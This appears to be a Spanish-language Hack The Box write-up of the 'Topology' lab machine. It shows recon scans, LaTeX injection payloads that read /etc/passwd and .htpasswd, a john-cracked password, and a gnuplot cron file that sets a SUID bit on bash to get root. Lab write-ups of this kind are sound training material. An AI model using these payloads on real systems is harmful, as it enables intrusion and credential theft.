Post

Topology - Hack The Box

logo En esta máquina que es catalogada como fácil, logramos acceso al equipo gracias a unas credenciales que encontramos mediante una divulgación de archivos , provocada por una inyección con látex desde la web. Para escalar privilegios, con pspy vimos una tarea que se ejecutaba a intervalor regulares de tiempo, con eso pude ejecutar un comando como root con el programa gnuplot, para eso nos ayudamos de un recurso que encontramos en google que nos dice que solo creando un archivo con la extensión adecuada podiamo ejecutar codido en el sistema

Reconocimiento

Directorios de trabajo

1
2
3
mkdir topology
cd topology
mkdir nmap content exploit

nmap

1
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -sCV 10.10.11.217 -oN version-port

version-port

1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.10.11.217
Host is up (0.088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http
|_http-title: Miskatonic University | Topology Group
  • 22: ssh
    • De momento no voy a tocar este puerto, no cuento con credenciales
  • 80: http
    • El servicio http está relacionado con la web.

80: http

http

nmap no me muestra algo relevante en la parte web, como siempre hagamos algo de reconocimiento web para identificar tecnologías, gestores de contenido y otras cosas con herramientas básicas como whatweb y wappalyzer

whatweb

1
whatweb 10.10.11.217

whatweb

Listo ahora veamos cómo luce la página desde firefox

firefox

Con el plugin Wappalyzer podemos darnos idea de las cosas que funcionan tras el servidor web

wappalyzer

ahora de curioso voy a lanzar el gobuster a ver que logro encontrar algo, va ser un un diccionario chiquito para no saturar el servidor, ya veré si luego lanzo otro diccionario más extenso

gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gobuster dir -u 10.10.11.217 -w /opt/SecLists/Discovery/Web-Content/common.txt


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.217
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/11/04 01:15:41 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.217/css/]
/images               (Status: 301) [Size: 313] [--> http://10.10.11.217/images/]
/index.html           (Status: 200) [Size: 6767]                                 
/javascript           (Status: 301) [Size: 317] [--> http://10.10.11.217/javascript/]
/server-status        (Status: 403) [Size: 277]                                      
/~bin                 (Status: 403) [Size: 277]                                      
/~lp                  (Status: 403) [Size: 277]                                      
/~mail                (Status: 403) [Size: 277]                                      
/~nobody              (Status: 403) [Size: 277]                                      
/~sys                 (Status: 403) [Size: 277]

Bueno por ahora nada valioso, solo que usa Apache HTTP Server como servidor web, y que el sistema operativo es un ubuntu. Me pongo en marcha con el reconocimiento, nunguno de los botones me lleva a algún lugar, pero hay un comentario con un enlace q ue dice Generador de ecuaciones en Latex

según Wikipedia

Es un sistema de composición de textos, orientado a la creación de documentos escritos que presenten una alta calidad tipográfica.

listo todo claro :v , cuando intento acceder al link aparece un dominio que mi equipo no sabe resolver

ya saben, esto se puede solucionar agregando el dominio y sub domion al /etc/hosts

/etc/hosts

1
2
3
4
5
6
7
8
9
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others

10.10.11.217    topology.htb latex.topology.htb

sabiendo que pueden haber otros sub dominios me doy a la tarea de ver si encuentro para también ponerlos en el archivo /etc/ho sts

wfuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wfuzz -c --hc=404 --hw=545 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.topology.htb" 10.10.11
.217 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.217/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                       
=====================================================================

000000019:   401        14 L     54 W       463 Ch      "dev"                                                         
000000061:   200        5 L      9 W        108 Ch      "stats"
000000243:   200        7 L      11 W       154 Ch      "latex" 
  • dev
  • stats
  • latex

ahora sí, mi equipo puede identificar esos dominios y la página se ve de esta forma

Vale, en este punto vamos a notar que de alguna forma tenemos que ejecutar comandos o leer archivos de la máquina atraves de es ta entrada, lo que hace es generar ecuaciones , o lo que le pongas ahí, pasándolo a un pdf que posteriormente se ve desde la web

di con algunas páginas , una de ellas fué PayloadAllTheThings

esta es la que me sirvió para darme una idea de lo que tenia que hacer

inyección con látex

inyección con látex (1)

1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

el problema es que solo me muestra una sola línea, para solucionar esto solo tenemos que agregar $ al comienzo y al final de la línea, eso indica que se trata de fórmulas en una sola línea

inyección con látex (2)

1
$\lstinputlisting{/etc/passwd}$

se me ocurrió en su momento ver el

  • /home/vdaisley/.ssh/id_rsa
  • /etc/shadow

pero no tuve éxito, luego recorde un archivo que vi cuando lancé el gobuster ese archio es

  • .htpasswd
    • Es un archivo de texto que se usa para guardar los nombres de usuario y las contraseñas para la autenticación básica del Servidor HTTP Apache.

cabe recalcar que no siempre funciona, pero en este caso si

el dato curioso es que no es en /var/www/html , esto está relacionado a los sub dominios que encontré

  • /var/www/latex/.htpasswd
  • /var/www/stats/.htpasswd
  • /var/www/dev/.htpasswd

solo vi cosas en /var/www/dev/.htpasswd, y no es cualquier cosa, son credenciales

guardo esas credenciales en un archivo llamado cred y ahora lo rompo con john

john the ripper

1
2
3
4
5
6
7
8
9
10
11
12
sudo john -w:/usr/share/wordlists/rockyou.txt cred 

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20       (vdaisley)
1g 0:00:00:02 DONE (2023-11-04 01:49) 0.4504g/s 448518p/s 448518c/s 448518C/s callel..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed

ya tengo credenciales para validarlas por el servicio ssh, y ver si podemos entrar al sistema

intrusion

22: ssh

ahora intento ver la flag pero no tenemos permiso para hacerlo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-bash-5.0$ ls
pspy64  texput.log  user.txt
-bash-5.0$ ls -la
total 3080
drwxr-xr-x 5 vdaisley vdaisley    4096 Nov  3 17:47 .
drwxr-xr-x 3 root     root        4096 May 19 13:04 ..
lrwxrwxrwx 1 root     root           9 Mar 13  2022 .bash_history -> /dev/null
-rw-r--r-- 1 vdaisley vdaisley     220 Jan 17  2023 .bash_logout
-rw-r--r-- 1 vdaisley vdaisley    3771 Jan 17  2023 .bashrc
drwx------ 2 vdaisley vdaisley    4096 May 19 13:04 .cache
drwx------ 3 vdaisley vdaisley    4096 May 19 13:04 .config
drwxrwxr-x 3 vdaisley vdaisley    4096 Nov  3 17:47 .local
-rw-r--r-- 1 vdaisley vdaisley     807 Jan 17  2023 .profile
-rwxrwxr-x 1 vdaisley vdaisley 3104768 Nov  3 13:01 pspy64
-rw------- 1 vdaisley vdaisley      17 Nov  3 13:03 .python_history
-rw-rw-r-- 1 vdaisley vdaisley     720 Nov  3 16:45 texput.log
-rw-r----- 1 root     vdaisley      33 Nov  3 09:23 user.txt
-rw------- 1 vdaisley vdaisley    1366 Nov  3 17:29 .viminfo

Escalada de privilegios

listando algunos directorios comunes di con /opt

1
2
3
4
5
6
7
-bash-5.0$ pwd
/opt
-bash-5.0$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Nov  3 18:00 gnuplot

y que es esto de gnuplot, bueno si no sabemos algo lo buscamos en google y ya

pero la duda es , exite algo de lo que me pueda aprovechar con todo esto? al parecer si podemo hacer algo, ya que se pueden ejecutar comando con este programa

pero no podemos ejecutar el script .plt , ni mucho menos ver los recursos del directorio /opt/gnuplot tal vez tengamos que esperar un proceso que haga eso por nosotros. en el momento que estaba haciendo la máquina el pspy64 estaba en mi directorio personal parece que alguien ya hizo eso, y si no fuera el caso solo es clonarlo y compilargo en GO

que es pspy

Con PSPY podemos monitorizar los procesos de un equipo Linux y por lo tanto, obtener comandos ejecutados por otros usuarios, cron jobs, o argumentos pasados a determinados scripts que nos puede ser de utilidad

después de esperar un par de minutos logro ver que si hay una tarea que ejecuta los archivos de la carpeta de interés /opt/gnuplot, y como es el usuario root, vamos a poder colar un comando

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2023/11/04 02:31:35 CMD: UID=0     PID=2      | 
2023/11/04 02:31:35 CMD: UID=0     PID=1      | /sbin/init 
2023/11/04 02:32:01 CMD: UID=0     PID=30814  | /usr/sbin/CRON -f 
2023/11/04 02:32:01 CMD: UID=0     PID=30813  | /usr/sbin/CRON -f 
2023/11/04 02:32:01 CMD: UID=0     PID=30816  | /bin/sh /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30815  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30820  | cut -d   -f3,7 
2023/11/04 02:32:01 CMD: UID=0     PID=30819  | 
2023/11/04 02:32:01 CMD: UID=0     PID=30818  | 
2023/11/04 02:32:01 CMD: UID=0     PID=30825  | /usr/sbin/CRON -f 
2023/11/04 02:32:01 CMD: UID=0     PID=30824  | /bin/sh /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30823  | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0     PID=30820  | cut -d   -f3,7 
2023/11/04 02:32:01 CMD: UID=0     PID=30819  | 
2023/11/04 02:32:01 CMD: UID=0     PID=30818  | 
2023/11/04 02:32:01 CMD: UID=0     PID=30825  | /usr/sbin/CRON -f 
2023/11/04 02:32:01 CMD: UID=0     PID=30824  | /bin/sh /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30823  | /bin/sh /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30822  | grep -o load average:.*$ 
2023/11/04 02:32:01 CMD: UID=0     PID=30821  | uptime 
2023/11/04 02:32:01 CMD: UID=0     PID=30826  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/11/04 02:32:01 CMD: UID=0     PID=30827  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/11/04 02:32:01 CMD: UID=0     PID=30828  | /bin/sh /opt/gnuplot/getdata.sh 
2023/11/04 02:32:01 CMD: UID=0     PID=30829  | /bin/sh /opt/gnuplot/getdata.sh

ahora solo queda hacer el ataque, creo un archivo con la extension .plt y lo guardo en la ruta /opt/gnuplot

1
2
3
4
cd /dev/shm
echo 'system "chmod u+s /usr/bin/bash"' > pepito.plt
cp pepito.plt /opt/gnuplot

y en un par de minuto tenemos

1
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /usr/bin/bash

ahora solo queda convertirnos en root ejecutando un simple bash -p

flag de user y root

1
2
3
4
5
6
7
8
9
10
11
12
bash-5.0# ls
pspy64  texput.log  user.txt

bash-5.0# cat user.txt 
0c5c9b6435952a449e1be9b9fc7e571a

bash-5.0# cd /root/
bash-5.0# ls
root.txt

bash-5.0# cat root.txt 
48b63ec79f141d51f0b025b9bec71b4f
This post is licensed under CC BY 4.0 by the author.